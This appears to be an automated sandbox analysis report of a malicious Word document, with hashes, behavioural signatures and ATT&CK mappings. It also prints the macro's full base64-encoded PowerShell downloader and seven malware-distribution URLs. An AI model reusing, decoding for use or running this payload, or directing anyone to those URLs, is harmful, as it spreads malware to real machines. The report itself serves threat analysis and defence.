dfde7333bf1e1496475bae5462fd5bbc3c1cb32f48d4289ba1202c62962a1a43

General

Target

dfde7333bf1e1496475bae5462fd5bbc3c1cb32f48d4289ba1202c62962a1a43.doc
Size

223KB
MD5

788528655c447bf2ba012ac7300d10fa
SHA1

52203fb658426f5077836c4a8cf9e8e36c3b74b0
SHA256

dfde7333bf1e1496475bae5462fd5bbc3c1cb32f48d4289ba1202c62962a1a43
SHA512

c7bc72db66535ddd0600d3662341fb496ea7f9269be0bc27f6fe49850e830c4f5e5a6304e0bc1c642640f360dd63bb479cdab1957af0231c5b2204eeb572513e
SSDEEP

3072:Zz4PrXcuQuvpzm4bkiaMQgAlSazbSphmq4P:ZMDRv1m4bnQgISAepgqm

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://marmolhi.com/_vti_bin/0nNKKlWZ4/

exe.dropper

https://comerciopuravida.com/wp-admin/qqUV32Q/

exe.dropper

http://www.closmaq.com.br/wp-admin/nc/

exe.dropper

http://pulseti.com/isla/61D/

exe.dropper

https://hotelunique.com/teste/oxda9J0BvF/

exe.dropper

http://greensync.com.br/aspnet_clientOld/Xyicd/

exe.dropper

http://muabannodanluat.com/wp-admin/css/colors/kIxtL8/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1920	2012	powershell.exe

Blocklisted process makes network request 8 IoCs

Processes:

powershell.exe

flow	pid	process
23	1920	powershell.exe
27	1920	powershell.exe
29	1920	powershell.exe
32	1920	powershell.exe
33	1920	powershell.exe
35	1920	powershell.exe
38	1920	powershell.exe
42	1920	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

2736 WINWORD.EXE
2736 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1920 powershell.exe
1920 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1920 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

2736 WINWORD.EXE
2736 WINWORD.EXE
2736 WINWORD.EXE
2736 WINWORD.EXE
2736 WINWORD.EXE
2736 WINWORD.EXE
2736 WINWORD.EXE

pid	process
2736	WINWORD.EXE
2736	WINWORD.EXE

pid	process
1920	powershell.exe
1920	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1920	powershell.exe

pid	process
2736	WINWORD.EXE
2736	WINWORD.EXE
2736	WINWORD.EXE
2736	WINWORD.EXE
2736	WINWORD.EXE
2736	WINWORD.EXE
2736	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\dfde7333bf1e1496475bae5462fd5bbc3c1cb32f48d4289ba1202c62962a1a43.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2736

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -en JABPAGcAOABiAHcAMgByAD0AKAAnAFMAJwArACgAJwAyACcAKwAnAGUAOQAzAGIAXwAnACkAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBzAEUAUgBQAHIAbwBGAGkAbABlAFwATgBOAF8AVgBEADAAMABcAFcAOAA3AGMAVQBaAEYAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBDAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAFUAcgBgAGkAYABUAFkAYABQAFIAbwB0AE8AYwBPAEwAIgAgAD0AIAAoACgAJwB0AGwAJwArACcAcwAxADIALAAnACkAKwAoACcAIAB0AGwAcwAnACsAJwAxADEAJwApACsAKAAnACwAJwArACcAIAB0ACcAKQArACcAbABzACcAKQA7ACQARgBkAGgAZAB2AHYAXwAgAD0AIAAoACcAQgBzACcAKwAoACcAeABnACcAKwAnADQAbQBlACcAKQArACcAaQAnACkAOwAkAFYANwBjADEANgBtAHUAPQAoACgAJwBFAHQAJwArACcAbwB5ACcAKQArACcAOQAnACsAJwBjADQAJwApADsAJABGAHEAMgAzAF8AdwA5AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHIAQQAnACsAJwBDACcAKwAoACcATgAnACsAJwBuAF8AdgBkACcAKwAnADAAMAAnACsAJwByAEEAQwBXADgAJwArACcANwBjAHUAegBmACcAKwAnAHIAJwApACsAJwBBAEMAJwApAC4AIgByAGUAcABgAGwAQQBDAEUAIgAoACgAWwBjAGgAQQBSAF0AMQAxADQAKwBbAGMAaABBAFIAXQA2ADUAKwBbAGMAaABBAFIAXQA2ADcAKQAsAFsAUwB0AHIASQBuAGcAXQBbAGMAaABBAFIAXQA5ADIAKQApACsAJABGAGQAaABkAHYAdgBfACsAKAAnAC4AJwArACgAJwBlAHgAJwArACcAZQAnACkAKQA7ACQATwA3AG0ANgBiAGYANQA9ACgAJwBKAGIAJwArACgAJwBjAGMAJwArACcAMAAnACkAKwAnAGkAaQAnACkAOwAkAFYAcgBvAGUAcgBtAHMAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4AZQB0AC4AVwBFAEIAQwBMAEkAZQBOAHQAOwAkAEEAeAB5AG0AYQBfAGUAPQAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAoACcAcAA6AC8AJwArACcALwBtAGEAcgAnACkAKwAoACcAbQBvACcAKwAnAGwAaABpAC4AYwBvAG0ALwAnACsAJwBfACcAKwAnAHYAJwApACsAJwB0ACcAKwAnAGkAXwAnACsAKAAnAGIAJwArACcAaQBuAC8AMABuAE4ASwAnACsAJwBLACcAKQArACcAbABXACcAKwAnAFoAJwArACgAJwA0AC8AJwArACcAKgBoAHQAJwApACsAKAAnAHQAJwArACcAcABzADoAJwArACcALwAvAGMAbwBtACcAKQArACgAJwBlAHIAYwAnACsAJwBpAG8AcAAnACsAJwB1AHIAYQB2ACcAKwAnAGkAJwArACcAZABhACcAKQArACcALgAnACsAKAAnAGMAbwBtACcAKwAnAC8AdwAnACsAJwBwAC0AYQAnACsAJwBkAG0AaQBuAC8AJwApACsAKAAnAHEAJwArACcAcQBVACcAKQArACcAVgAzACcAKwAoACcAMgAnACsAJwBRAC8AJwApACsAJwAqACcAKwAnAGgAdAAnACsAJwB0AHAAJwArACgAJwA6AC8AJwArACcALwAnACkAKwAoACcAdwAnACsAJwB3AHcAJwApACsAKAAnAC4AYwBsAG8AJwArACcAcwAnACkAKwAnAG0AYQAnACsAJwBxAC4AJwArACgAJwBjAG8AbQAnACsAJwAuAGIAJwApACsAJwByACcAKwAoACcALwB3AHAALQBhACcAKwAnAGQAJwArACcAbQBpAG4AJwApACsAJwAvAG4AJwArACgAJwBjACcAKwAnAC8AKgAnACkAKwAoACcAaAB0ACcAKwAnAHQAJwApACsAKAAnAHAAJwArACcAOgAvAC8AcAB1ACcAKwAnAGwAcwBlACcAKQArACgAJwB0AGkAJwArACcALgBjAG8AJwApACsAKAAnAG0AJwArACcALwBpACcAKQArACcAcwBsACcAKwAoACcAYQAvADYAMQBEAC8AJwArACcAKgAnACsAJwBoAHQAdAAnACkAKwAnAHAAcwAnACsAJwA6ACcAKwAoACcALwAvACcAKwAnAGgAJwApACsAKAAnAG8AdABlACcAKwAnAGwAdQBuAGkAJwArACcAcQAnACkAKwAoACcAdQBlACcAKwAnAC4AJwApACsAJwBjAG8AJwArACcAbQAvACcAKwAoACcAdABlACcAKwAnAHMAdABlAC8AbwB4ACcAKQArACgAJwBkAGEAOQAnACsAJwBKACcAKQArACgAJwAwACcAKwAnAEIAdgAnACkAKwAnAEYALwAnACsAJwAqACcAKwAoACcAaAB0ACcAKwAnAHQAcAA6AC8ALwBnACcAKwAnAHIAZQAnACkAKwAoACcAZQBuAHMAJwArACcAeQBuAGMAJwArACcALgBjACcAKwAnAG8AJwApACsAKAAnAG0ALgBiACcAKwAnAHIAJwApACsAJwAvAGEAJwArACgAJwBzAHAAbgAnACsAJwBlACcAKQArACcAdAAnACsAJwBfAGMAJwArACcAbAAnACsAKAAnAGkAZQAnACsAJwBuACcAKQArACcAdAAnACsAKAAnAE8AbAAnACsAJwBkACcAKQArACgAJwAvAFgAeQBpAGMAZAAnACsAJwAvACcAKQArACgAJwAqAGgAdAAnACsAJwB0ACcAKQArACgAJwBwADoAJwArACcALwAvAG0AdQBhAGIAJwApACsAKAAnAGEAJwArACcAbgAnACsAJwBuAG8AJwArACcAZABhAG4AbAB1AGEAdAAnACkAKwAoACcALgAnACsAJwBjAG8AbQAvAHcAJwArACcAcAAnACkAKwAoACcALQBhAGQAbQBpAG4ALwAnACsAJwBjAHMAcwAvAGMAJwArACcAbwAnACkAKwAnAGwAJwArACcAbwByACcAKwAoACcAcwAvACcAKwAnAGsAJwApACsAJwBJAHgAJwArACcAdABMACcAKwAnADgALwAnACkALgAiAHMAUABgAGwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUgB2ADQANgBwAHoANgA9ACgAJwBPACcAKwAoACcAXwAnACsAJwB3AHQAJwApACsAKAAnAHYANgAnACsAJwBkACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQARABiAGYAZgB0ADQAOAAgAGkAbgAgACQAQQB4AHkAbQBhAF8AZQApAHsAdAByAHkAewAkAFYAcgBvAGUAcgBtAHMALgAiAEQAYABvAHcAbgBsAGAATwBBAEQAZgBpAGAAbABFACIAKAAkAEQAYgBmAGYAdAA0ADgALAAgACQARgBxADIAMwBfAHcAOQApADsAJABWAGwAaQBxADMAbwBwAD0AKAAoACcAQgBmAG4ANQAnACsAJwBqACcAKQArACcAcwBfACcAKQA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABGAHEAMgAzAF8AdwA5ACkALgAiAGwAYABFAGAATgBnAHQASAAiACAALQBnAGUAIAAzADgAMwA5ADYAKQAgAHsAJgAoACcASQAnACsAJwBuACcAKwAnAHYAbwBrACcAKwAnAGUALQBJAHQAZQBtACcAKQAoACQARgBxADIAMwBfAHcAOQApADsAJABJAF8AbgBrADkAcQA3AD0AKAAnAFgAawAnACsAKAAnAGMAdAAnACsAJwBsAG0AcwAnACkAKQA7AGIAcgBlAGEAawA7ACQAUQBpAHgAYQA0AGwAawA9ACgAJwBEADUAJwArACgAJwBqAG0AYgAnACsAJwBmAGQAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFMAaQBqADYAMgBmADgAPQAoACgAJwBKAG8AJwArACcANgAnACkAKwAoACcAZABuACcAKwAnAGUAMQAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1920

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cbjjypok.1hn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851227[[fn=sist02]].xsl

Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
memory/1920-68-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp

Filesize
2.0MB

Download
memory/1920-101-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp

Filesize
2.0MB

Download
memory/1920-74-0x000001F5ECA40000-0x000001F5ECA62000-memory.dmp

Filesize
136KB

Download
memory/2736-15-0x00007FF818C60000-0x00007FF818C70000-memory.dmp

Filesize
64KB

Download
memory/2736-28-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp

Filesize
2.0MB

Download
memory/2736-9-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp

Filesize
2.0MB

Download
memory/2736-12-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp

Filesize
2.0MB

Download
memory/2736-11-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp

Filesize
2.0MB

Download
memory/2736-7-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp

Filesize
2.0MB

Download
memory/2736-6-0x00007FF81ADD0000-0x00007FF81ADE0000-memory.dmp

Filesize
64KB

Download
memory/2736-13-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp

Filesize
2.0MB

Download
memory/2736-14-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp

Filesize
2.0MB

Download
memory/2736-16-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp

Filesize
2.0MB

Download
memory/2736-0-0x00007FF81ADD0000-0x00007FF81ADE0000-memory.dmp

Filesize
64KB

Download
memory/2736-17-0x00007FF818C60000-0x00007FF818C70000-memory.dmp

Filesize
64KB

Download
memory/2736-27-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp

Filesize
2.0MB

Download
memory/2736-10-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp

Filesize
2.0MB

Download
memory/2736-8-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp

Filesize
2.0MB

Download
memory/2736-4-0x00007FF81ADD0000-0x00007FF81ADE0000-memory.dmp

Filesize
64KB

Download
memory/2736-5-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp

Filesize
2.0MB

Download
memory/2736-1-0x00007FF85ADED000-0x00007FF85ADEE000-memory.dmp

Filesize
4KB

Download
memory/2736-88-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp

Filesize
2.0MB

Download
memory/2736-91-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp

Filesize
2.0MB

Download
memory/2736-90-0x00007FF85ADED000-0x00007FF85ADEE000-memory.dmp

Filesize
4KB

Download
memory/2736-94-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp

Filesize
2.0MB

Download
memory/2736-3-0x00007FF81ADD0000-0x00007FF81ADE0000-memory.dmp

Filesize
64KB

Download
memory/2736-102-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp

Filesize
2.0MB

Download
memory/2736-108-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp

Filesize
2.0MB

Download
memory/2736-2-0x00007FF81ADD0000-0x00007FF81ADE0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads